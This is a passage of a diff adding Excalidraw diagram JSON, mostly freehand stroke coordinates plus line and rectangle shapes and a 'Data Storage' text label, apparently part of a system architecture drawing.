-73.15969994705732, + -119.20430060307676 + ], + [ + -76.74096856630334, + -118.69270195246311 + ], + [ + -79.8105995024603, + -118.18107402749318 + ], + [ + -80.32219815307413, + -118.18107402749318 + ], + [ + -81.34543448677634, + -117.66948513499821 + ], + [ + -82.36863178800371, + -117.15787672626581 + ], + [ + -82.8802304386173, + -117.15787672626581 + ], + [ + -83.3918290892311, + -117.15787672626581 + ], + [ + -83.90346677231993, + -116.64626831753337 + ], + [ + -85.4382627241609, + -116.13466966691969 + ], + [ + -89.0195313434067, + -115.11145284945479 + ], + [ + -91.06592594586147, + -114.59984444072235 + ], + [ + -94.64719456510727, + -114.08823603198987 + ], + [ + -97.20522685065086, + -112.55342056391133 + ], + [ + -99.25166048558046, + -112.04181215517893 + ], + [ + -100.27485778680786, + -111.53020374644649 + ], + [ + -100.27485778680786, + -111.01860509583281 + ], + [ + -100.27485778680786, + -110.50697717086284 + ], + [ + -100.78645643742165, + -109.99538827836793 + ], + [ + -101.29805508803523, + -109.48377986963544 + ], + [ + -102.32129142173766, + -107.4373559928245 + ], + [ + -103.85608737357863, + -105.39091259977596 + ], + [ + -105.39092235789464, + -104.36771529854857 + ], + [ + -105.90252100850843, + -102.83288031423251 + ], + [ + -107.43735599282444, + -101.80968301300518 + ], + [ + -109.48378962775422, + -100.27484802868908 + ], + [ + -109.99538827836801, + -99.76325913619412 + ], + [ + -110.50698692898162, + -98.2284436681156 + ], + [ + -111.01858557959522, + -98.2284436681156 + ], + [ + -111.01858557959522, + -97.71681574314563 + ], + [ + -106.92575734221084, + -100.78647595365905 + ], + [ + -101.80969277112386, + -102.83288031423251 + ], + [ + -96.18199051694828, + -105.90254052474593 + ], + [ + -93.11235958079128, + -106.41413917535961 + ], + [ + -91.57756362895029, + -106.92574758409205 + ], + [ + -91.57756362895029, + -107.4373559928245 + ], + [ + -90.0427286446341, + -107.9489448853194 + ], + [ + -87.48469635909068, + -108.46057281028935 + ], + [ + -86.4614990578633, + -109.48377986963544 + ], + [ + -84.9266640735471, + -109.99538827836793 + ], + [ + -82.8802304386173, + -110.50697717086284 + ], + [ + -82.36863178800371, + -111.01860509583281 + ], + [ + -81.34543448677634, + -111.53020374644649 + ], + [ + -80.83379680368772, + -111.53020374644649 + ], + [ + -78.78740220123294, + -112.04181215517893 + ], + [ + -77.76416586753054, + -112.04181215517893 + ], + [ + -77.25256721691693, + -112.04181215517893 + ], + [ + -76.74096856630334, + -112.04181215517893 + ], + [ + -77.25256721691693, + -111.53020374644649 + ], + [ + -78.27576451814433, + -110.50697717086284 + ], + [ + -81.85703313739013, + -107.9489448853194 + ], + [ + -83.90346677231993, + -106.41413917535961 + ], + [ + -85.4382627241609, + -104.879323707281 + ], + [ + -86.4614990578633, + -103.85610688981613 + ], + [ + -87.48469635909068, + -102.83288031423251 + ], + [ + -87.99629500970427, + -102.32129142173763 + ], + [ + -88.50789366031789, + -101.80968301300518 + ], + [ + -90.0427286446341, + -100.78647595365905 + ], + [ + -91.06592594586147, + -99.76325913619412 + ], + [ + -92.60076093017749, + -98.74004231872925 + ], + [ + -92.60076093017749, + -97.71681574314563 + ], + [ + -93.11235958079128, + -97.71681574314563 + ], + [ + -94.64719456510727, + -96.69361844191829 + ], + [ + -95.15879321572106, + -96.18201003318585 + ], + [ + -96.18199051694828, + -95.1587834576022 + ], + [ + -96.69362820003707, + -94.64719456510726 + ], + [ + -97.20522685065086, + -94.64719456510726 + ], + [ + -97.71682550126427, + -94.13558615637481 + ], + [ + -99.25166048558046, + -93.6239777476424 + ], + [ + -99.76325913619407, + -93.11237909702872 + ], + [ + -100.27485778680786, + -92.60075117205875 + ], + [ + -101.29805508803523, + -92.08916227956387 + ], + [ + -101.80969277112386, + -91.57755387083141 + ], + [ + -101.80969277112386, + -90.55434681148527 + ], + [ + -102.83289007235125, + -90.04271888651532 + ], + [ + -103.34448872296483, + -89.53112999402038 + ], + [ + -104.36772505666745, + -89.53112999402038 + ], + [ + -104.87932370728103, + -88.50791317655552 + ], + [ + -105.39092235789464, + -87.99631452594184 + ], + [ + -105.90252100850843, + -87.48468660097188 + ], + [ + -106.4141196591222, + -86.97309770847698 + ], + [ + -106.92575734221084, + -85.94989064913085 + ], + [ + -106.92575734221084, + -85.43828224039841 + ], + [ + -106.92575734221084, + -84.92665431542844 + ], + [ + -106.92575734221084, + -84.4150654229335 + ], + [ + -106.92575734221084, + -83.3918583635874 + ], + [ + -106.92575734221084, + -82.36862202988499 + ], + [ + -106.92575734221084, + -80.32221766931153 + ], + [ + -106.92575734221084, + -79.29900085184663 + ], + [ + -106.92575734221084, + -78.78739244311423 + ], + [ + -106.92575734221084, + -78.27579379250052 + ], + [ + -106.92575734221084, + -76.74096856630321 + ], + [ + -106.92575734221084, + -75.71776150695707 + ], + [ + -106.92575734221084, + -73.67132787202733 + ], + [ + -106.92575734221084, + -73.15972922141364 + ], + [ + -106.92575734221084, + -71.1132955864839 + ], + [ + -106.92575734221084, + -70.09008852713775 + ], + [ + -106.92575734221084, + -69.5784606021678 + ], + [ + -106.92575734221084, + -67.53205624159435 + ], + [ + -106.92575734221084, + -67.02042831662435 + ], + [ + -106.92575734221084, + -65.997231015397 + ], + [ + -106.92575734221084, + -64.46239603108091 + ], + [ + -106.92575734221084, + -62.927600079239916 + ], + [ + -106.92575734221084, + -62.41599167050747 + ], + [ + -106.92575734221084, + -61.904363745537474 + ], + [ + -106.92575734221084, + -61.39277485304258 + ], + [ + -106.92575734221084, + -60.881166444310125 + ], + [ + -106.92575734221084, + -60.36956779369644 + ], + [ + -106.92575734221084, + -59.34633145999403 + ], + [ + -106.92575734221084, + -58.323134158766685 + ], + [ + -106.92575734221084, + -57.29992709942059 + ], + [ + -106.92575734221084, + -56.78829917445064 + ], + [ + -106.92575734221084, + -56.27671028195569 + ], + [ + -106.92575734221084, + -55.25350322260956 + ], + [ + -106.92575734221084, + -54.7418948138771 + ], + [ + -106.92575734221084, + -53.71867799641225 + ], + [ + -106.4141196591222, + -51.67224436148251 + ], + [ + -106.4141196591222, + -51.16064571086881 + ], + [ + -106.4141196591222, + -50.137428893403914 + ], + [ + -106.4141196591222, + -48.09101477471168 + ], + [ + -106.4141196591222, + -46.55617979039563 + ], + [ + -106.4141196591222, + -43.48654885423849 + ], + [ + -106.4141196591222, + -41.95173338615995 + ], + [ + -106.4141196591222, + -40.92851656869506 + ], + [ + -106.4141196591222, + -39.39370110061646 + ], + [ + -106.4141196591222, + -38.88208293376526 + ], + [ + -106.4141196591222, + -37.85888563253796 + ], + [ + -106.4141196591222, + -37.34726746568676 + ], + [ + -106.4141196591222, + -36.83566881507307 + ], + [ + -106.4141196591222, + -36.32405064822186 + ], + [ + -106.4141196591222, + -35.81245199760817 + ], + [ + -106.4141196591222, + -34.78923518014327 + ], + [ + -106.4141196591222, + -34.27763652952959 + ], + [ + -106.4141196591222, + -33.76601836267838 + ], + [ + -106.4141196591222, + -32.74282106145108 + ], + [ + -106.4141196591222, + -32.23120289459988 + ], + [ + -105.90252100850843, + -31.719604243986186 + ], + [ + -105.90252100850843, + -30.69638742652129 + ], + [ + -105.90252100850843, + -30.18478877590759 + ], + [ + -105.39092235789464, + -29.67317060905639 + ], + [ + -105.39092235789464, + -29.1615719584427 + ], + [ + -105.39092235789464, + -28.649953791591493 + ], + [ + -104.87932370728103, + -27.626756490364205 + ], + [ + -104.87932370728103, + -27.115138323513 + ], + [ + -104.87932370728103, + -26.091921506048102 + ], + [ + -104.87932370728103, + -25.580322855434407 + ], + [ + -104.87932370728103, + -25.06872420482071 + ], + [ + -104.87932370728103, + -24.045507387355862 + ], + [ + -104.87932370728103, + -23.53388922050466 + ], + [ + -104.87932370728103, + -23.022290569890966 + ], + [ + -104.87932370728103, + -22.51069191927732 + ], + [ + -104.87932370728103, + -20.975856934961218 + ], + [ + -104.87932370728103, + -20.46425828434753 + ], + [ + -104.87932370728103, + -19.952659633733834 + ], + [ + -104.87932370728103, + -19.44104146688263 + ], + [ + -104.87932370728103, + -18.92944281626898 + ], + [ + -104.87932370728103, + -18.417824649417778 + ], + [ + -104.87932370728103, + -16.883009181339236 + ], + [ + -104.36772505666745, + -15.859792363874336 + ], + [ + -103.85608737357863, + -15.348193713260645 + ], + [ + -103.85608737357863, + -14.836595062646952 + ], + [ + -103.34448872296483, + -14.324976895795746 + ], + [ + -102.83289007235125, + -14.324976895795746 + ], + [ + -102.83289007235125, + -13.81337824518215 + ], + [ + -102.32129142173766, + -13.301760078330847 + ], + [ + -102.32129142173766, + -12.790161427717251 + ], + [ + -102.32129142173766, + -12.27856277710356 + ], + [ + -102.32129142173766, + -11.766944610252356 + ], + [ + -101.80969277112386, + -11.766944610252356 + ], + [ + -101.80969277112386, + -11.25534595963866 + ], + [ + -101.80969277112386, + -10.232129142173765 + ], + [ + -102.32129142173766, + -8.697313674095172 + ], + [ + -103.85608737357863, + -7.67409685663037 + ], + [ + -103.85608737357863, + -7.162498206016678 + ], + [ + -104.36772505666745, + -7.162498206016678 + ], + [ + -104.36772505666745, + -6.650880039165473 + ], + [ + -104.87932370728103, + -6.13928138855178 + ], + [ + -104.87932370728103, + -5.627663221700574 + ], + [ + -105.39092235789464, + -5.116064571086882 + ], + [ + -105.90252100850843, + -4.604465920473189 + ], + [ + -106.4141196591222, + -3.581249103008387 + ], + [ + -107.43735599282444, + -3.0696309361570857 + ], + [ + -107.43735599282444, + -2.558032285543489 + ], + [ + -107.94895464343823, + -2.558032285543489 + ], + [ + -107.94895464343823, + -2.046433634929796 + ], + [ + -108.46055329405182, + -2.046433634929796 + ], + [ + -108.97215194466543, + -1.534815468078591 + ], + [ + -109.99538827836801, + -0.5115986506136931 + ], + [ + -110.50698692898162, + 1.0232168174648013 + ], + [ + -111.53018423020902, + 2.558032285543489 + ], + [ + -112.04182191329781, + 3.0696309361570857 + ], + [ + -113.5766178651388, + 4.604465920473189 + ], + [ + -114.59985419884102, + 6.650880039165376 + ], + [ + -115.1114528494548, + 7.162498206016678 + ], + [ + -115.6230515000686, + 7.674096856630275 + ], + [ + -115.6230515000686, + 8.185695507243967 + ], + [ + -115.6230515000686, + 8.697313674095172 + ], + [ + -115.6230515000686, + 9.208912324708864 + ], + [ + -115.6230515000686, + 9.72053049156007 + ], + [ + -115.6230515000686, + 10.232129142173765 + ], + [ + -115.6230515000686, + 10.743727792787457 + ], + [ + -115.6230515000686, + 11.255345959638564 + ], + [ + -114.08821651575239, + 11.255345959638564 + ], + [ + -112.04182191329781, + 11.766944610252356 + ], + [ + -111.01858557959522, + 12.278562777103463 + ], + [ + -110.50698692898162, + 12.278562777103463 + ], + [ + -109.48378962775422, + 12.278562777103463 + ], + [ + -108.46055329405182, + 12.790161427717251 + ], + [ + -106.4141196591222, + 12.790161427717251 + ], + [ + -104.87932370728103, + 12.790161427717251 + ], + [ + -103.85608737357863, + 12.790161427717251 + ], + [ + -102.32129142173766, + 12.790161427717251 + ], + [ + -100.78645643742165, + 12.790161427717251 + ], + [ + -99.76325913619407, + 12.790161427717251 + ], + [ + -98.22842415187806, + 12.790161427717251 + ], + [ + -94.64719456510727, + 12.790161427717251 + ], + [ + -92.0891622795639, + 12.790161427717251 + ], + [ + -89.0195313434067, + 12.790161427717251 + ], + [ + -87.48469635909068, + 12.790161427717251 + ], + [ + -85.94986137477468, + 12.790161427717251 + ], + [ + -84.41506542293351, + 12.790161427717251 + ], + [ + -81.85703313739013, + 12.790161427717251 + ], + [ + -80.32219815307413, + 12.790161427717251 + ], + [ + -78.78740220123294, + 12.790161427717251 + ], + [ + -76.74096856630334, + 12.790161427717251 + ], + [ + -75.71773223260072, + 12.790161427717251 + ], + [ + -73.67133763014596, + 12.790161427717251 + ], + [ + -70.60166766151394, + 12.790161427717251 + ], + [ + -68.04363537597035, + 12.790161427717251 + ], + [ + -64.46240578919958, + 12.790161427717251 + ], + [ + -62.92757080488357, + 12.790161427717251 + ], + [ + -59.85793986872659, + 12.790161427717251 + ], + [ + -58.834742567499, + 12.790161427717251 + ], + [ + -57.811506233796784, + 12.790161427717251 + ], + [ + -56.7883089325694, + 12.790161427717251 + ], + [ + -55.76511163134201, + 12.790161427717251 + ], + [ + -53.20707934579843, + 12.790161427717251 + ], + [ + -51.67224436148241, + 12.790161427717251 + ], + [ + -46.04458113978185, + 12.790161427717251 + ], + [ + -45.02134480607963, + 12.790161427717251 + ], + [ + -40.928516568695066, + 12.790161427717251 + ], + [ + -38.37048428315148, + 13.301760078330847 + ], + [ + -37.347247949449255, + 13.301760078330847 + ], + [ + -35.30085334699449, + 13.301760078330847 + ], + [ + -33.25441971206469, + 13.301760078330847 + ], + [ + -28.1383551409779, + 13.301760078330847 + ], + [ + -25.068724204820718, + 13.301760078330847 + ], + [ + -21.999054236188517, + 13.813378245182054 + ], + [ + -19.95265963373374, + 13.813378245182054 + ], + [ + -16.882989665101725, + 13.813378245182054 + ], + [ + -15.85979236387434, + 13.813378245182054 + ], + [ + -15.85979236387434, + 13.813378245182054 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 2542, + "versionNonce": 489176288, + "index": "c166V", + "isDeleted": false, + "id": "_mDRSeYXly8rDNF262N_S", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 0, + "opacity": 100, + "angle": 0, + "x": 3162.713134153833, + "y": 14.779991298306982, + "strokeColor": "transparent", + "backgroundColor": "#fff", + "width": 77.16945954662702, + "height": 46.42022623105642, + "seed": 670540744, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.7028763530328397, + -3.799189527679027 + ], + [ + 10.204553912300403, + -9.466974567192539 + ], + [ + 14.654833432577231, + -8.553391706125115 + ], + [ + 14.15358740141488, + -11.82457068593551 + ], + [ + 16.6786330330659, + -15.878531728207355 + ], + [ + 20.628960978997174, + -18.059376214273936 + ], + [ + 25.649347447119112, + -18.230078225095408 + ], + [ + 27.91071317028779, + -16.665262216895524 + ], + [ + 28.43636551750232, + -21.2783792395785 + ], + [ + 31.61675876141426, + -24.184557646504487 + ], + [ + 37.243718973411085, + -25.996453133459166 + ], + [ + 43.155304701723416, + -25.720189289254737 + ], + [ + 45.96464472488975, + -23.858710169113344 + ], + [ + 47.905669278434694, + -20.239758892690695 + ], + [ + 53.377945831510125, + -21.46028922285522 + ], + [ + 57.74597073457293, + -20.69292055010937 + ], + [ + 61.8805823621225, + -18.230078225094637 + ], + [ + 65.19016632070392, + -13.61407954602003 + ], + [ + 66.33050787323978, + -8.05093575059147 + ], + [ + 66.75786398529544, + -4.991742390765879 + ], + [ + 64.78171021694305, + -1.5968820300419313 + ], + [ + 68.6637593240206, + -2.2942415098222213 + ], + [ + 73.61528487545668, + 0.8270935085534971 + ], + [ + 76.5995215463436, + 4.15316065268493 + ], + [ + 77.07894753077424, + 8.305564110648081 + ], + [ + 76.94789880514034, + 11.817460346243399 + ], + [ + 75.20601251115046, + 15.388327248924693 + ], + [ + 72.76737169956398, + 18.872099836905253 + ], + [ + 69.27583937566212, + 20.42377309759726 + ], + [ + 21.217301324861804, + 20.07600080098423 + ], + [ + 22.12759048402858, + -1.3227183330242727 + ], + [ + -0.09051201585278626, + -0.35671387650806075 + ] + ] + }, + { + "type": "text", + "version": 1471, + "versionNonce": 1254990048, + "index": "c166Z", + "isDeleted": false, + "id": "ENixLaBR", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 3105.7811613878393, + "y": 126.66183525924487, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 105.19164968015872, + "height": 67.9572652967835, + "seed": 803203784, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "fontSize": 27.182906118713408, + "fontFamily": 1, + "text": "Data\nStorage", + "rawText": "Data\nStorage", + "textAlign": "center", + "verticalAlign": "top", + "containerId": null, + "originalText": "Data\nStorage", + "autoResize": true, + "lineHeight": 1.25 + }, + { + "type": "rectangle", + "version": 1453, + "versionNonce": 1713800416, + "index": "c166d", + "isDeleted": false, + "id": "GjZluxvYJXRc8ZA22Hj0_", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3088.03905433837, + "y": 39.370204095681174, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 72.78280988268213, + "height": 63.809622956438375, + "seed": 1093095880, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1436, + "versionNonce": 1824712928, + "index": "c166h", + "isDeleted": false, + "id": "t4ktL5vbJvhdzUdOIGw62", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3086.0449578619227, + "y": 39.11058236405427, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 44.866143815476306, + "height": 22.931557993348044, + "seed": 585750728, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 44.866143815476306, + -22.931557993348044 + ] + ] + }, + { + "type": "line", + "version": 1437, + "versionNonce": 707972320, + "index": "c166l", + "isDeleted": false, + "id": "QkLgki44kLaErZGlAyq-_", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3131.9081879491227, + "y": 17.176015558677364, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 53.83931172496937, + "height": 1.9940584429436632, + "seed": 1489207240, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 53.83931172496937, + -1.9940584429436632 + ] + ] + }, + { + "type": "line", + "version": 1442, + "versionNonce": 2013671648, + "index": "c166p", + "isDeleted": false, + "id": "hViu7Z13tQ9zLpkFYiH2J", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3184.7505655363784, + "y": 20.16710322309325, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 0, + "height": 54.83637897994257, + "seed": 315639496, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 0, + 54.83637897994257 + ] + ] + }, + { + "type": "line", + "version": 1426, + "versionNonce": 2110592224, + "index": "c166t", + "isDeleted": false, + "id": "ft01PJra-LG_LJYgVtahZ", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3161.8189504927786, + "y": 99.9291176560746, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 22.93153897659736, + "height": 28.913695288677665, + "seed": 497823176, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 22.93153897659736, + -28.913695288677665 + ] + ] + }, + { + "type": "line", + "version": 1427, + "versionNonce": 1897363680, + "index": "c166x", + "isDeleted": false, + "id": "RCvrsCseldUWR_VEc_Pjq", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3128.9170812679527, + "y": 39.11058236405427, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 23.928625248321236, + "height": 20.937537583905744, + "seed": 1383281864, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 23.928625248321236, + -20.937537583905744 + ] + ] + }, + { + "type": "rectangle", + "version": 1433, + "versionNonce": 1433754848, + "index": "c167", + "isDeleted": false, + "id": "iGtw5LNdTcLo4bYZXvPPB", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3113.96169999613, + "y": 42.10165101171947, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 22.931615043600086, + "height": 21.934547788626894, + "seed": 113335240, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false + }, + { + "type": "line", + "version": 1424, + "versionNonce": 1014415584, + "index": "c1678", + "isDeleted": false, + "id": "PJrTyVCK0sTVNpok1Jap7", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3112.9646897914113, + "y": 44.09570945466339, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 32.90179315781431, + "height": 28.913752338929715, + "seed": 2092081864, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 32.90179315781431, + -28.913752338929715 + ] + ] + }, + { + "type": "line", + "version": 1420, + "versionNonce": 95134944, + "index": "c167G", + "isDeleted": false, + "id": "Vm4_QQ0V68XP5JVidj9TD", + "fillStyle": "hachure", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 70, + "angle": 0, + "x": 3138.887335449177, + "y": 41.104659823748875, + "strokeColor": "#000000", + "backgroundColor": "transparent", + "width": 24.925635453042386, + "height": 24.925635453042386, + "seed": 1390610888, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 24.925635453042386, + -24.925635453042386 + ] + ] + }, + { + "type": "freedraw", + "version": 1556, + "versionNonce": 514066656, + "index": "c167O", + "isDeleted": false, + "id": "TFv84Uq_HpfnLApgAraQZ", + "fillStyle": "cross-hatch", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 10, + "angle": 0, + "x": 3130.5032958788124, + "y": 20.11370053038729, + "strokeColor": "#e67700", + "backgroundColor": "transparent", + "width": 103.85608737357862, + "height": 79.2989910937279, + "seed": 1953403080, + "groupIds": [ + "NRUqKx4dSwc2FuqcBZ8FC", + "nRfU_0DH1Le0YnoBlF2vN" + ], + "frameId": null, + "roundness": { + "type": 2 + }, + "boundElements": [], + "updated": 1720441453356, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + -0.5115986506134034, + 0 + ], + [ + -2.5580322855431996, + 1.534815468078591 + ], + [ + -6.650899555402791, + 3.581249103008339 + ], + [ + -9.720530491559973, + 6.139271630433023 + ], + [ + -13.813358728944348, + 9.208912324708912 + ], + [ + -18.417824649417728, + 13.813368487063347 + ], + [ + -21.999093268663533, + 16.371400772606787 + ], + [ + -24.557125554206927, + 18.929433058150224 + ], + [ + -25.580322855434307, + 19.952669391852638 + ], + [ + -26.09192150604791, + 20.46425828434753 + ], + [ + -27.115157839750314, + 20.975866693079976 + ], + [ + -28.649953791591297, + 22.510701677396074 + ], + [ + -30.184788775907496, + 23.533898978623416 + ], + [ + -31.207986077134887, + 24.045497629237108 + ], + [ + -31.71958472774848, + 24.557106037969508 + ], + [ + -33.25441971206468, + 26.091931264166856 + ], + [ + -34.27761701329188, + 27.62676624848296 + ], + [ + -35.30085334699448, + 28.138355140977897 + ], + [ + -35.30085334699448, + 28.649963549710296 + ], + [ + -35.30085334699448, + 29.161562200323942 + ], + [ + -35.30085334699448, + 30.1847985340264 + ], + [ + -35.30085334699448, + 31.207995835253737 + ], + [ + -33.766018362678274, + 33.25441971206473 + ], + [ + -33.25441971206468, + 35.30086310511323 + ], + [ + -32.7428210614509, + 38.370484283151605 + ], + [ + -32.2312224108371, + 41.95173338615995 + ], + [ + -32.2312224108371, + 45.53298248916824 + ], + [ + -32.2312224108371, + 48.091014774711724 + ], + [ + -32.2312224108371, + 52.18386252833371 + ], + [ + -32.2312224108371, + 54.7418948138771 + ], + [ + -32.2312224108371, + 56.78830893256939 + ], + [ + -32.2312224108371, + 58.83474256749914 + ], + [ + -32.2312224108371, + 62.41599167050747 + ], + [ + -32.2312224108371, + 62.927590321121166 + ], + [ + -32.2312224108371, + 67.53205624159435 + ], + [ + -32.2312224108371, + 69.06687170967291 + ], + [ + -32.2312224108371, + 72.13650264583003 + ], + [ + -32.2312224108371, + 73.67133763014608 + ], + [ + -32.2312224108371, + 74.69453493137343 + ], + [ + -32.2312224108371, + 76.22936991568953 + ], + [ + -32.2312224108371, + 76.74096856630321 + ], + [ + -32.2312224108371, + 77.25256721691692 + ], + [ + -32.2312224108371, + 77.76418538376814 + ], + [ + -32.2312224108371, + 78.78740220123302 + ], + [ + -31.71958472774848, + 78.78740220123302 + ], + [ + -26.603520156661503, + 78.27578403438172 + ], + [ + -21.48745558557472, + 77.25256721691692 + ], + [ + -16.883028697576556, + 76.74096856630321 + ], + [ + -14.32499641203316, + 76.22936991568953 + ], + [ + -11.255326443400955, + 76.22936991568953 + ], + [ + -7.16249820601658, + 75.71775174883831 + ], + [ + -4.604465920472995, + 75.20615309822463 + ], + [ + -3.581229586770779, + 75.20615309822463 + ], + [ + 0, + 74.18293628075978 + ], + [ + 1.0231973012275795, + 74.18293628075978 + ], + [ + 4.092867269859592, + 74.18293628075978 + ], + [ + 6.139261872314365, + 73.67133763014608 + ], + [ + 8.697294157857757, + 73.67133763014608 + ], + [ + 11.766964126489963, + 73.15971946329488 + ], + [ + 14.836595062646952, + 73.15971946329488 + ], + [ + 18.41782464941792, + 73.15971946329488 + ], + [ + 20.975856934961314, + 73.15971946329488 + ], + [ + 21.999093268663728, + 73.15971946329488 + ], + [ + 23.022290569891112, + 73.15971946329488 + ], + [ + 24.55712555420712, + 73.15971946329488 + ], + [ + 25.068724204820906, + 73.15971946329488 + ], + [ + 25.580322855434503, + 73.15971946329488 + ], + [ + 26.0919215060481, + 73.15971946329488 + ], + [ + 26.0919215060481, + 72.64812081268126 + ], + [ + 27.1151578397507, + 72.13650264583003 + ], + [ + 29.16155244220528, + 70.09008852713775 + ], + [ + 31.719584727748675, + 67.02043807474315 + ], + [ + 35.30085334699448, + 65.48562260666455 + ], + [ + 36.83564929883565, + 63.95080713858602 + ], + [ + 39.393681584379046, + 61.90437350365627 + ], + [ + 41.44011521930884, + 61.39277485304258 + ], + [ + 41.44011521930884, + 60.88117620242888 + ], + [ + 42.46335155301125, + 59.85795938496398 + ], + [ + 42.97495020362484, + 59.85795938496398 + ], + [ + 46.04458113978203, + 57.81152575003429 + ], + [ + 48.602613425325416, + 56.78830893256939 + ], + [ + 49.62581072655281, + 55.765111631342 + ], + [ + 50.13744840964143, + 55.253493464490795 + ], + [ + 50.13744840964143, + 54.7418948138771 + ], + [ + 50.13744840964143, + 54.230276647025896 + ], + [ + 50.13744840964143, + 52.18386252833371 + ], + [ + 50.13744840964143, + 51.16064571086881 + ], + [ + 49.62581072655281, + 49.62583024279022 + ], + [ + 49.62581072655281, + 48.091014774711724 + ], + [ + 49.11421207593921, + 43.99814750485219 + ], + [ + 48.602613425325416, + 39.905299751230146 + ], + [ + 48.09101477471183, + 34.78923518014327 + ], + [ + 47.57941612409823, + 30.69638742652129 + ], + [ + 47.57941612409823, + 26.603529914780548 + ], + [ + 47.57941612409823, + 